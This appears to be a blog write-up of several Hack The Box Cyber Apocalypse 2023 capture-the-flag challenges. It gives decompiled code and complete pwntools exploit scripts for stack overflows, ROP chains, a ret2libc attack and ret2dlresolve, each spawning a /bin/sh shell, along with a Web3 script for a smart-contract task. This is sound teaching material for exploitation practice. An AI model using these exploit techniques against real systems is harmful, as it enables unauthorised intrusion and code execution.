Cyber Apocalypse 2023

Some notes on challenges from the Hack the Box Cyber Apocalypse capture the flag event.

Labyrinth

Running the executable, you are presented with a number of doors to select:

Select door: 

Door: 001 Door: 002 Door: 003 Door: 004 Door: 005 Door: 006 Door: 007 Door: 008 Door: 009 Door: 010 
Door: 011 Door: 012 Door: 013 Door: 014 Door: 015 Door: 016 Door: 017 Door: 018 Door: 019 Door: 020 
Door: 021 Door: 022 Door: 023 Door: 024 Door: 025 Door: 026 Door: 027 Door: 028 Door: 029 Door: 030 
Door: 031 Door: 032 Door: 033 Door: 034 Door: 035 Door: 036 Door: 037 Door: 038 Door: 039 Door: 040 
Door: 041 Door: 042 Door: 043 Door: 044 Door: 045 Door: 046 Door: 047 Door: 048 Door: 049 Door: 050 
Door: 051 Door: 052 Door: 053 Door: 054 Door: 055 Door: 056 Door: 057 Door: 058 Door: 059 Door: 060 
Door: 061 Door: 062 Door: 063 Door: 064 Door: 065 Door: 066 Door: 067 Door: 068 Door: 069 Door: 070 
Door: 071 Door: 072 Door: 073 Door: 074 Door: 075 Door: 076 Door: 077 Door: 078 Door: 079 Door: 080 
Door: 081 Door: 082 Door: 083 Door: 084 Door: 085 Door: 086 Door: 087 Door: 088 Door: 089 Door: 090 
Door: 091 Door: 092 Door: 093 Door: 094 Door: 095 Door: 096 Door: 097 Door: 098 Door: 099 Door: 100 

Opening the file in Ghidra shows that door 69 needs to be selected. The program then accepts 0x44 bytes of input using fgets(), but does not validate the size of the string being input.

undefined8 main(void)

{
  int iVar1;
  undefined8 local_38;
  undefined8 local_30;
  undefined8 local_28;
  undefined8 local_20;
  char *local_18;
  ulong local_10;
  
  setup();
  banner();
  local_38 = 0;
  local_30 = 0;
  local_28 = 0;
  local_20 = 0;
  fwrite("\nSelect door: \n\n",1,0x10,stdout);
  for (local_10 = 1; local_10 < 0x65; local_10 = local_10 + 1) {
    if (local_10 < 10) {
      fprintf(stdout,"Door: 00%d ",local_10);
    }
    else if (local_10 < 100) {
      fprintf(stdout,"Door: 0%d ",local_10);
    }
    else {
      fprintf(stdout,"Door: %d ",local_10);
    }
    if ((local_10 % 10 == 0) && (local_10 != 0)) {
      putchar(10);
    }
  }
  fwrite(&DAT_0040248f,1,4,stdout);
  local_18 = (char *)malloc(0x10);
  fgets(local_18,5,stdin);
  iVar1 = strncmp(local_18,"69",2);
  if (iVar1 != 0) {
    iVar1 = strncmp(local_18,"069",3);
    if (iVar1 != 0) goto LAB_004015da;
  }
  fwrite("\nYou are heading to open the door but you suddenly see something on the wall:\n\n\"Fly li ke a bird and be free!\"\n\nWould you like to change the door you chose?\n\n>> "
         ,1,0xa0,stdout);
  fgets((char *)&local_38,0x44,stdin);
LAB_004015da:
  fprintf(stdout,"\n%s[-] YOU FAILED TO ESCAPE!\n\n",&DAT_00402541);
  return 0;
}


Examining the binary further showed a function called escape_plan() which appeared to print the flag.

void escape_plan(void)

{
  ssize_t sVar1;
  char local_d;
  int local_c;
  
  putchar(10);
  fwrite(&DAT_00402018,1,0x1f0,stdout);
  fprintf(stdout,
          "\n%sCongratulations on escaping! Here is a sacred spell to help you continue your journey : %s\n"
          ,&DAT_0040220e,&DAT_00402209);
  local_c = open("./flag.txt",0);
  if (local_c < 0) {
    perror("\nError opening flag.txt, please contact an Administrator.\n\n");
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  while( true ) {
    sVar1 = read(local_c,&local_d,1);
    if (sVar1 < 1) break;
    fputc((int)local_d,stdout);
  }
  close(local_c);
  return;
}

So, we just need to overwrite the instruction pointer with the address of the escape_plan function. I found calling this directly didn’t work. I suspect due to stack alignment issues. However, I found by calling the cls_function first this did work.

#!/usr/bin/python3

from pwn import *
from struct import pack

#p = remote('165.227.224.40', 32690 )
p = gdb.debug('./labyrinth', 'c')
binary = ELF('./labyrinth')
context.binary = binary
context.log_level = 'debug'
rop = ROP(binary)
libc = ELF('glibc/libc.so.6')

p.recvuntil(">>")
p.sendline(b"069")
p.recvuntil(">>")

cls_function = p64(0x40137b)

rop.raw(b"A" * 56 + cls_function  + p64(binary.sym["escape_plan"]))

print(rop.dump())
p.sendline(rop.chain())
p.interactive()

Running this provided the flag:

                                                                                                                                             
                                                                                                                                             
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒                                                                                                          
▒-▸        ▒           ▒          ▒                                                                                                          
▒-▸        ▒     O     ▒          ▒                                                                                                          
▒-▸        ▒    '|'    ▒          ▒                                                                                                          
▒-▸        ▒    / \    ▒          ▒                                                                                                          
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▲△▲△▲△▲△▲△▒                                                                                                          
                                                                                                                                             
                \O/                                                                                                                          
                 |                                                                                                                           
                / \                                                                                                                          
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒   ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒                                                                                                          
▒-▸        ▒           ▒          ▒                                                                                                          
▒-▸        ▒           ▒          ▒                                                                                                          
▒-▸        ▒           ▒          ▒                                                                                                          
▒-▸        ▒           ▒          ▒                                                                                                          
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▲△▲△▲△▲△▲△▒                                                                                                          
                                                                                                                                             
Congratulations on escaping! Here is a sacred spell to help you continue your journey: 
HTB{f4k3_fl4g_4_t35t1ng}

Pandora

Another binary exploitation challenge. From running the application, it was clear there was a simple stack overflow when inputting data.

                ◙◙◙◙◙◙◙◙◙◙◙◙◙◙◙◙◙◙◙
                ▣                 ▣
                ▣       ◊◊        ▣
                ▣ ◊◊◊◊◊◊◊◊◊◊◊◊◊◊◊ ▣
                ▣       ◊◊        ▣
                ▣                 ▣
                ◙◙◙◙◙◙◙◙◙◙◙◙◙◙◙◙◙◙◙

This is one of Pandora's mythical boxes!

Will you open it or Return it to the Library for analysis?

1. Open.
2. Return.

>> 2

Insert location of the library: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

We will deliver the mythical box to the Library for analysis, thank you!

zsh: segmentation fault  ./pb

Checksec showed the application was NX enabled, without PIE.

checksec --file=./pb
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Full RELRO      No canary found   NX enabled    No PIE          No RPATH   RW-RUNPATH   76 Symbols        No    0               4               ./pb

This one required leaking the puts() address in the Global Offset Table to defeat ASLR, followed by a classic return to libc attack.

#!/usr/bin/python3
from pwn import *
from struct import pack
import time

p = gdb.debug('./pb', 'c')
#p = remote('178.62.64.13', 30374 )
binary = ELF('./pb')
context.binary = binary
context.log_level = 'debug'
rop = ROP(binary)
rop2 = ROP(binary)
libc = ELF('glibc/libc.so.6')

## Stage 1: Pointer Leakage
PUTS_PLT = binary.plt['puts']
MAIN_PLT = binary.symbols['box']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0]
RET = (rop.find_gadget(['ret']))[0]
FUNC_GOT = binary.got['puts']

log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret  gadget: " + hex(POP_RDI))

banner = p64(0x40123b)
rop.raw(b"A"*48 + b"B" * 8)
rop.raw(p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT))


## Stage 2: PWN
p.recvuntil(b">>")
p.sendline(b"2")
p.recvuntil(b"library:")
p.sendline(rop.chain())
p.recvuntil(b"you!\n")
leaked_printf = p.recv()[:8].strip().ljust(8, b"\00")
leaked_printf = u64(leaked_printf)
subtraction   = 0x80ED0
baseAddress   = leaked_printf - subtraction
log.success("Leaked puts@GLIBC: " + hex(leaked_printf))
log.success("Leaked puts@GLIBC: " + hex(baseAddress))

libc_sys = 0x50d60
libc_sh  = 0x1d8698
cls = 0x4011b2 

sys = p64(baseAddress + libc_sys)
sh = p64(baseAddress + libc_sh)

log.info("pop rdi; ret  gadget: " + hex(POP_RDI))

rop2.raw(b"D"*48 + b"C" * 8)
rop2.raw(p64(POP_RDI) + sh + p64(RET) +sys + p64(RET))
print(rop2.dump())
p.sendline(b"2")
p.recvuntil(b"library:")
p.sendline(rop2.chain())
p.interactive()

VOID

The main function of this application just calls the vuln() function.

void vuln(void)

{
  undefined local_48 [64];
  
  read(0,local_48,200);
  return;
}

Not having puts() or related output function ruled out pointer leakage performed for Pandora.

Automated exploitation with ret2dlresolve.

from pwn import *

p = gdb.debug('./void', 'c')
binary = ELF('./void')
context.binary = binary
context.log_level = 'debug'

rop = ROP(context.binary)
dlresolve = Ret2dlresolvePayload(binary, symbol="system", args=["/bin/sh"])
rop.read(0, dlresolve.data_addr)
rop.ret2dlresolve(dlresolve)
raw_rop = rop.chain()


p.sendline(fit({64+context.bytes: raw_rop, 200: dlresolve.payload}))


p.interactive()

Blockchain: Navigating the Unknown

In this challenge, a smart contract was supplied, which based on this we just needed to call the function updateSensors with a value of 10.

# Setup.sol
pragma solidity ^0.8.18;

import {Unknown} from "./Unknown.sol";

contract Setup {
    Unknown public immutable TARGET;

    constructor() {
        TARGET = new Unknown();
    }

    function isSolved() public view returns (bool) {
        return TARGET.updated();
    }
}
#
pragma solidity ^0.8.18;

contract Unknown {
    
    bool public updated;

    function updateSensors(uint256 version) external {
        if (version == 10) {
            updated = true;
        }
    }

}

https://remix.ethereum.org/ was used to convert the smart contract files into their respective ABI and bytecode. A Web3 Python file was then used to call the function.

from web3 import Web3
import json

#### Connect to service
contract_url = "http://142.93.38.14:31467"
web3 = Web3(Web3.HTTPProvider(contract_url))
print("Connected?")
print(web3.is_connected())
print("Block number")
print(web3.eth.block_number)
#balance = web3.eth.get_balance(contract_address)
#print(balance)
contract_address = '0xD28f414a4BD54bD486687DD6a476566A2ab8af47'

### Initilise Smart Contract
address = '0xF3EAf436bAe959ced6Ed16Be3Ed21d2C70cb8078'
private_key = '0x606d1d4b0a3d1ec35f953849c8a2a7c473b6f0663be339b6e6e509dd5c7d2755'

web3.eth.defaultAccount = web3.eth.accounts[0]

print("Balance:")
balance = web3.eth.get_balance(address)
print(web3.from_wei(balance, 'ether'))

abi = json.loads('[{"inputs":[{"internalType":"uint256","name":"version","type":"uint256"}],"name":"updateSensors","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"updated","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"}]')

bytecode = '608060405234801561001057600080fd5b50600436106100365760003560e01c80637b2aab031461003b578063ca4f14c414610059575b600080fd5b610043610075565b60405161005091906100c7565b60405180910390f35b610073600480360381019061006e919061011d565b610086565b005b60008054906101000a900460ff1681565b600a81036100a95760016000806101000a81548160ff0219169083151502179055505b50565b60008115159050919050565b6100c1816100ac565b82525050565b60006020820190506100dc60008301846100b8565b92915050565b600080fd5b6000819050919050565b6100fa816100e7565b811461010557600080fd5b50565b600081359050610117816100f1565b92915050565b600060208284031215610133576101326100e2565b5b600061014184828501610108565b9150509291505056fea2646970667358221220146f4301af494c0ed279879aad810c2e3b91c416189040db8cef8af8216aa0d464736f6c63430008120033'

contract_instance = web3.eth.contract(address=contract_address, abi=abi)

token_supply = contract_instance.functions.updateSensors(10).transact()
print(token_supply)

In Conclusion

I might add other completed challenges to this post at a future date, but most were fairly straight forward, and these were some of the more interesting ones.